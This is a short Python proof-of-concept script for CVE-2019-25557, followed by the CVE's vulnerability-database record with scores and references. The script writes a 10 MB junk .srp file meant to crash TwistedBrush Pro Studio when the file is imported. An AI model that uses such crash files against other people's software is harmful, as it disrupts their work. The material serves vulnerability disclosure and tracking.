CVE-2019-25557

# PoC for CVE-2019-25557 # TwistedBrush Pro Studio Denial of Service via Malformed .srp File import sys def generate_poc(filename): # Create a large buffer to trigger the crash # The file size needs to be excessive to overflow the expected buffer size junk = b"A" * 10000000 # 10MB buffer try: with open(filename, "wb") as f: f.write(junk) print(f"[+] PoC file '{filename}' created successfully.") print(f"[+] Import this file into TwistedBrush Pro Studio Script Player to reproduce the crash.") except Exception as e: print(f"[-] Error creating file: {e}") if __name__ == "__main__": poc_file = "exploit_CVE_2019_25557.srp" generate_poc(poc_file)

{"cve": {"id": "CVE-2019-25557", "sourceIdentifier": "[email protected]", "published": "2026-03-21T13:16:18.410", "lastModified": "2026-03-24T16:32:35.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "TwistedBrush Pro Studio 24.06 contains a denial of service vulnerability that allows local attackers to crash the application by importing a malformed .srp script file. Attackers can create a .srp file containing an excessively large buffer and import it through the Script Player interface to trigger an application crash."}, {"lang": "es", "value": "TwistedBrush Pro Studio 24.06 contiene una vulnerabilidad de denegación de servicio que permite a atacantes locales bloquear la aplicación al importar un archivo de script .srp malformado. Los atacantes pueden crear un archivo .srp que contenga un búfer excesivamente grande e importarlo a través de la interfaz Script Player para desencadenar un fallo de la aplicación."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-775"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pixarra:twistedbrush_pro_studio:24.06:*:*:*:*:*:*:*", "matchCriteriaId": "F62FE325-85CB-4E52-AE3C-34BADEBC03FE"}]}]}], "references": [{"url": "http://www.pixarra.com", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.exploit-db.com/exploits/46845", "source": "[email protected]", "tags": ["Exploit", "VDB Entry", "Third Party Advisory"]}, {"url": "https://www.vulncheck.com/advisories/twistedbrush-pro-studio-denial-of-service-via-srp-file", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}